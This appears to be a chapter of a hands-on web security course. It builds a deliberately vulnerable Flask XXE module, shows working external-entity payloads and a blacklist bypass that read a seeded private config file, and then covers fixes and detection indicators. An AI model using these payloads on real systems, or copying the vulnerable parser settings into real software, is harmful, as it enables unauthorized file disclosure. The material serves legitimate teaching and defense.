This example uses the shared Flask lab.
We plug XXE in as the seventh web module.
Complete the Chapter III Introduction setup first. The base app.py, schema.sql, seed.sql, and database.db must already exist.
The flow is:
install lxml
create modules/xxe.py
register the blueprint in app.py
restart Flask
visit /xxe/basic
The XXE module provides four pages:
/xxe/basic
/xxe/blacklist
/xxe/better
/xxe/fixed
Plug In The Module
From the lab directory (disregard if you have already done this):
cd ~/ootw-web-lab
source .venv/bin/activate
mkdir -p modules
touch modules/__init__.py
Install the XML parser used by this lab:
pip install lxml
pip freeze > requirements.txt
We use lxml here because this lesson needs a parser that can be configured to load DTDs and resolve external entities.
Create modules/xxe.py:
cat > modules/xxe.py <<'EOF'
from pathlib import Path
from flask import Blueprint, abort, redirect, render_template_string, request
from lxml import etree
from app import get_db
bp = Blueprint("xxe", __name__, url_prefix="/xxe")
BASE_DIR = Path(__file__).resolve().parents[1]
LAB_ROOT = BASE_DIR / "lab_xml"
PUBLIC_ROOT = LAB_ROOT / "public"
PRIVATE_ROOT = LAB_ROOT / "private"
DEFAULT_XML = """<order>
<item>Signal Mug</item>
<quantity>1</quantity>
<note>normal order</note>
</order>"""
PAGE = """
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>{{ title }}</title>
<style>
body { font-family: system-ui, sans-serif; max-width: 1000px; margin: 40px auto; line-height: 1.5; }
nav a { margin-right: 12px; }
label { display: block; margin-top: 12px; }
textarea { width: 100%; min-height: 220px; padding: 7px; box-sizing: border-box; font-family: ui-monospace, monospace; }
button { margin-top: 12px; padding: 7px 10px; }
table { border-collapse: collapse; width: 100%; margin-top: 18px; }
th, td { border: 1px solid #ccc; padding: 8px; text-align: left; vertical-align: top; }
pre { background: #111; color: #eee; padding: 12px; overflow-x: auto; white-space: pre-wrap; }
code { background: #eee; padding: 2px 4px; }
</style>
</head>
<body>
<h1>{{ title }}</h1>
<nav>
<a href="/xxe/basic">basic</a>
<a href="/xxe/blacklist">blacklist</a>
<a href="/xxe/better">better</a>
<a href="/xxe/fixed">fixed</a>
<a href="/xxe/audit">audit</a>
</nav>
<p>{{ description }}</p>
<form method="post" action="/xxe/{{ stage }}">
<label for="xml">XML</label>
<textarea id="xml" name="xml">{{ xml }}</textarea>
<button type="submit">Parse XML</button>
</form>
{% if error %}
<h2>Error</h2>
<pre>{{ error }}</pre>
{% endif %}
{% if parsed %}
<h2>Parsed Order</h2>
<table>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
<tr>
<td>item</td>
<td>{{ parsed.item }}</td>
</tr>
<tr>
<td>quantity</td>
<td>{{ parsed.quantity }}</td>
</tr>
<tr>
<td>note</td>
<td><pre>{{ parsed.note }}</pre></td>
</tr>
</table>
{% endif %}
</body>
</html>
"""
AUDIT_PAGE = """
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>XXE Audit</title>
</head>
<body>
<h1>XXE Audit</h1>
<p>This page shows recent XML parsing events from the local lab.</p>
<p><a href="/xxe/basic">back to XXE lab</a></p>
{% for event in events %}
<article>
<p><strong>{{ event["event_type"] }}</strong> - {{ event["username"] }}</p>
<pre>{{ event["detail"] }}</pre>
<small>{{ event["created_at"] }}</small>
</article>
{% else %}
<p>No XXE events yet.</p>
{% endfor %}
</body>
</html>
"""
def ensure_lab_files():
PUBLIC_ROOT.mkdir(parents=True, exist_ok=True)
PRIVATE_ROOT.mkdir(parents=True, exist_ok=True)
public_request = PUBLIC_ROOT / "request.xml"
if not public_request.exists():
public_request.write_text(DEFAULT_XML, encoding="utf-8")
private_config = PRIVATE_ROOT / "device-config.txt"
if not private_config.exists():
private_config.write_text(
"device=training-gateway\n"
"api_key=ootw-xxe-demo-key\n"
"reset_token=ootw-xxe-demo-reset\n",
encoding="utf-8",
)
def base_url():
return (PUBLIC_ROOT / "request.xml").resolve().as_uri()
def submitted_xml():
form_xml = request.form.get("xml")
if form_xml is not None:
return form_xml
body = request.get_data(as_text=True)
if body.strip():
return body
return DEFAULT_XML
def parse_order(xml, parser):
try:
root = etree.fromstring(xml.encode("utf-8"), parser=parser, base_url=base_url())
if root.tag != "order":
raise ValueError("root element must be order")
parsed = {
"item": root.findtext("item", default=""),
"quantity": root.findtext("quantity", default=""),
"note": root.findtext("note", default=""),
}
return parsed, None
except (etree.XMLSyntaxError, OSError, ValueError) as error:
return None, str(error)
def vulnerable_parser():
return etree.XMLParser(
resolve_entities=True,
load_dtd=True,
no_network=False,
)
def local_only_parser():
return etree.XMLParser(
resolve_entities=True,
load_dtd=True,
no_network=True,
)
def fixed_parser():
return etree.XMLParser(
resolve_entities=False,
load_dtd=False,
no_network=True,
)
def log_parse(stage, xml, parsed, error):
preview = ""
if parsed is not None:
preview = parsed.get("note", "")[:500]
detail = (
f"stage={stage} "
f"doctype={'<!DOCTYPE' in xml.upper()} "
f"error={error or 'none'} "
f"note_preview={preview}"
)
db = get_db()
db.execute(
"""
INSERT INTO audit_log (event_type, username, detail)
VALUES (?, ?, ?)
""",
(f"xxe-{stage}", "operator", detail),
)
db.commit()
def render_lab(stage, title, description, xml, parsed=None, error=None):
return render_template_string(
PAGE,
stage=stage,
title=title,
description=description,
xml=xml,
parsed=parsed,
error=error,
)
@bp.get("/")
def index():
return redirect("/xxe/basic")
@bp.route("/basic", methods=["GET", "POST"])
def basic():
ensure_lab_files()
xml = submitted_xml()
parsed, error = parse_order(xml, vulnerable_parser())
log_parse("basic", xml, parsed, error)
return render_lab(
"basic",
"XXE Basic",
"The route parses XML with DTD loading and external entity resolution enabled.",
xml,
parsed,
error,
)
@bp.route("/blacklist", methods=["GET", "POST"])
def blacklist():
ensure_lab_files()
xml = submitted_xml()
if "file://" in xml.lower():
log_parse("blacklist", xml, None, "blocked-file-uri")
abort(400)
parsed, error = parse_order(xml, vulnerable_parser())
log_parse("blacklist", xml, parsed, error)
return render_lab(
"blacklist",
"XXE Weak Blacklist",
"The route blocks the file:// URI scheme, then still resolves external entities.",
xml,
parsed,
error,
)
@bp.route("/better", methods=["GET", "POST"])
def better():
ensure_lab_files()
xml = submitted_xml()
parsed, error = parse_order(xml, local_only_parser())
log_parse("better", xml, parsed, error)
return render_lab(
"better",
"XXE Better Network Disabled",
"The route disables network access, but local file entities still resolve.",
xml,
parsed,
error,
)
@bp.route("/fixed", methods=["GET", "POST"])
def fixed():
ensure_lab_files()
xml = submitted_xml()
if "<!DOCTYPE" in xml.upper():
log_parse("fixed", xml, None, "blocked-doctype")
abort(400)
parsed, error = parse_order(xml, fixed_parser())
log_parse("fixed", xml, parsed, error)
return render_lab(
"fixed",
"XXE Fixed",
"The route rejects DTDs and parses XML with entity resolution disabled.",
xml,
parsed,
error,
)
@bp.get("/audit")
def audit():
db = get_db()
events = db.execute(
"""
SELECT event_type, username, detail, created_at
FROM audit_log
WHERE event_type LIKE 'xxe-%'
ORDER BY id DESC
LIMIT 30
"""
).fetchall()
return render_template_string(AUDIT_PAGE, events=events)
EOF
Now register the module in app.py.
Add this near the bottom of app.py, after the route definitions and before the if __name__ == "__main__": block:
from modules.xxe import bp as xxe_bp
app.register_blueprint(xxe_bp)
If the earlier web modules are already plugged in, keep those lines and add XXE below them:
from modules.xss import bp as xss_bp
app.register_blueprint(xss_bp)
from modules.idor import bp as idor_bp
app.register_blueprint(idor_bp)
from modules.command_injection import bp as command_injection_bp
app.register_blueprint(command_injection_bp)
from modules.file_uploads import bp as file_uploads_bp
app.register_blueprint(file_uploads_bp)
from modules.lfi import bp as lfi_bp
app.register_blueprint(lfi_bp)
from modules.sqli import bp as sqli_bp
app.register_blueprint(sqli_bp)
from modules.xxe import bp as xxe_bp
app.register_blueprint(xxe_bp)
Run the app:
flask --app app run --host 127.0.0.1 --port 5000
Confirm the module is live:
curl -i "http://127.0.0.1:5000/xxe/basic"
Basic Vulnerability
Open:
http://127.0.0.1:5000/xxe/basic
This page parses XML with external entity resolution enabled:
etree.XMLParser(
resolve_entities=True,
load_dtd=True,
no_network=False,
)
Normal XML:
curl -i -X POST "http://127.0.0.1:5000/xxe/basic" \
-H "Content-Type: application/xml" \
--data-binary '<order><item>Signal Mug</item><quantity>1</quantity><note>normal order</note></order>'
Create a payload that points at the lab-local private config (assuming your instance lives in ~/ootw-web-lab):
cat > xxe-basic.xml <<EOF
<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY proof SYSTEM "file:///home/ubuntu/ootw-web-lab/lab_xml/private/device-config.txt">
]>
<order>
<item>Signal Mug</item>
<quantity>1</quantity>
<note>&proof;</note>
</order>
EOF
Exploit:
curl -i -X POST "http://127.0.0.1:5000/xxe/basic" \
-H "Content-Type: application/xml" \
--data-binary @xxe-basic.xml
The parser resolves the external entity and places the file contents inside the note field.
This proves local file read through XML entity resolution.

Basic Protection - Weak Blacklist
Open:
http://127.0.0.1:5000/xxe/blacklist
This page blocks one obvious URI scheme:
if "file://" in xml.lower():
abort(400)
That blocks the absolute file:// payload.
It does not disable external entities.
Create a relative external entity payload:
cat > xxe-relative.xml <<'EOF'
<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY proof SYSTEM "../private/device-config.txt">
]>
<order>
<item>Signal Mug</item>
<quantity>1</quantity>
<note>&proof;</note>
</order>
EOF
Bypass:
curl -i -X POST "http://127.0.0.1:5000/xxe/blacklist" \
-H "Content-Type: application/xml" \
--data-binary @xxe-relative.xml
The parser resolves the path relative to the XML base URL and still reads the private lab file.
The blacklist blocks one spelling. It does not remove the dangerous parser behavior.

Better Protection - Network Disabled
Open:
http://127.0.0.1:5000/xxe/better
This page disables network access:
etree.XMLParser(
resolve_entities=True,
load_dtd=True,
no_network=True,
)
That reduces SSRF-style impact.
It does not stop local file entity resolution.
Run the same relative payload:
curl -i -X POST "http://127.0.0.1:5000/xxe/better" \
-H "Content-Type: application/xml" \
--data-binary @xxe-relative.xml
The private lab config still appears in the parsed note field.
Network controls are useful, but the XML parser is still resolving external entities.
![[Chapter III - Web/7. XXE/Exploit.png]]
Fixed Version
Open:
http://127.0.0.1:5000/xxe/fixed
The fixed page does two things:
- It rejects
DOCTYPE. - It parses XML with DTD loading and entity resolution disabled.
The safe parser:
etree.XMLParser(
resolve_entities=False,
load_dtd=False,
no_network=True,
)
Run normal XML:
curl -i -X POST "http://127.0.0.1:5000/xxe/fixed" \
-H "Content-Type: application/xml" \
--data-binary '<order><item>Signal Mug</item><quantity>1</quantity><note>normal order</note></order>'
Run the XXE payload:
curl -i -X POST "http://127.0.0.1:5000/xxe/fixed" \
-H "Content-Type: application/xml" \
--data-binary @xxe-relative.xml
Expected:
400 Bad Request
The request no longer gets to define external entities.
Local Impact Proof
Use the vulnerable route to prove local file read:
curl -i -X POST "http://127.0.0.1:5000/xxe/basic" \
-H "Content-Type: application/xml" \
--data-binary @xxe-basic.xml
Then view:
http://127.0.0.1:5000/xxe/audit
The audit page shows whether a DOCTYPE was present and includes a preview of the parsed note.
This proves the useful impact:
stage=basic
doctype=True
error=none
note_preview=device=training-gateway
The application did not need SQL injection, XSS, or path traversal. It handed attacker-controlled XML to a parser that resolved external resources.

Remediation
Patch XXE by disabling dangerous XML features:
- Disable DTD loading.
- Disable external entity resolution.
- Disable network access in the XML parser.
- Reject
DOCTYPEwhen the application does not require it. - Avoid XML for untrusted input when a simpler data format is enough.
- Harden XML parsing for uploaded XML-based formats.
- Do not return verbose parser errors to users.
- Restrict outbound network access from application servers.
- Log rejected DTDs, entity declarations, and parser errors.
Safe pattern:
parser = etree.XMLParser(
resolve_entities=False,
load_dtd=False,
no_network=True,
)
The safest XXE fix is to remove the parser feature that makes external resource resolution possible.
Detection
Useful signals include:
- XML requests containing
<!DOCTYPE. - XML requests containing
<!ENTITY. - XML requests containing
SYSTEMorPUBLIC. - References to
file://,http://, orhttps://inside XML. - XML parser errors involving external entities or DTDs.
- Unexpected outbound requests from application servers.
- Parsed output containing local file content.
- Repeated rejected XML documents with different entity payloads.
Useful payload indicators:
<!DOCTYPE
<!ENTITY
SYSTEM
PUBLIC
file://
../private
xxe
%xxe;
Detection is not the fix. It shows which XML parser boundaries are being tested and which parser features need to be disabled.